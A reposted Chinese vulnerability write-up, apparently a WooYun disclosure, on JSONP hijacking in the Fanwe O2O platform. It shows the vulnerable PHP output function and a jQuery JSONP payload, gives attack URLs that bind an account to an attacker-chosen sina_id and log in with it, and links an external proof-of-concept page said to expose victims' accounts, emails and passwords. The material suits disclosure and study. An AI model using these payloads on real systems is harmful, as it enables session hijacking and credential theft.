说说JSON和JSONP,也许你会豁然开朗,含jQuery用例
JSONP 安全攻防技术
案例:
payload:
$.ajax({type:"get",url:"http://o2odemo.fanwe.net/mapi/index.php?ctl=synclogin&act=index&login_type=Sina&sina_id=ooooo&access_token=ooooo&r_type=3&callback=wooyun",dataType:"jsonp",jsonp:"callback",success:function(json){console.log(json);}});
wooyun-2015-0124949
/mapi/Lib/core/common.php中有 fanwe o2o的output函数:
/** * 输出接口数据 * @param unknown_type $data 返回的接口数据 * @param unknown_type $status 当前状态 0/1 * @param unknown_type $info 当前消息 可选,为空时由客户端取默认提示(默认提示包含成功的默认提示与失败的默认提示) */function output($data,$status=1,$info=""){ header("Content-Type:text/html; charset=utf-8"); $r_type = intval($_REQUEST['r_type']);//返回数据格式类型; 0:base64;1;json_encode;2:array 3:jsonp $data[CTL] = MODULE_NAME; $data[ACT] = ACTION_NAME; $data['status'] = $status; $data['info'] = $info; $data['city_name'] = $GLOBALS['city']['name']; $data['return'] = 1; //弃用该返回,统一返回1 $data['sess_id'] = $GLOBALS['sess_id']; if ($r_type == 0) { echo base64_encode(json_encode($data)); } else if ($r_type == 1) { echo(json_encode($data)); } else if ($r_type == 2) { print_r($data); } else if($r_type == 3) { $json = json_encode($data); echo $_GET['callback']."(".$json.")"; } exit;}
这是一个通用的输出函数,所有/mpai下的输出全部由output输出。 我们可以看到,这里当$_REQUEST['r_type']==3的时候,输出格式为jsonp。 所以,如果$data中有敏感信息,即会造成jsonp劫持。 结果当前函数中就存在一个敏感信息:sess_id $data['sess_id'] = $GLOBALS['sess_id']; 用户登陆后(fanwe o2o 默认用户账号密码都是fanwe,以这个用户为例),可劫持用户的session(http://o2odemo.fanwe.net/mapi/index.php?ctl=syncbind&act=index&login_type=Sina&access_token=ooooo&sina_id=ooooo&r_type=3&callback=wooyun):
继续深挖,刚才访问的这个URL(http://o2odemo.fanwe.net/mapi/index.php?ctl=syncbind&act=index&login_type=Sina&access_token=ooooo&sina_id=ooooo&r_type=3&callback=wooyun),实际上就是将账户fanwe绑定了sina_id为ooooo。 那么另外一处,我们可以直接用ooooo进行登录: http://o2odemo.fanwe.net/mapi/index.php?ctl=synclogin&act=index&login_type=Sina&sina_id=ooooo&access_token=ooooo&r_type=3&callback=wooyun
如上图,可以直接劫持用户密码。 写了个POC证明问题。受害者登录http://o2odemo.fanwe.net,再访问该POC即会弹出他的账号、邮箱、密码: http://mhz.pw/game/tx/fanweo2o.html
http://mhz.pw/game/tx/fanweo2o.html
(编辑:李大同)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!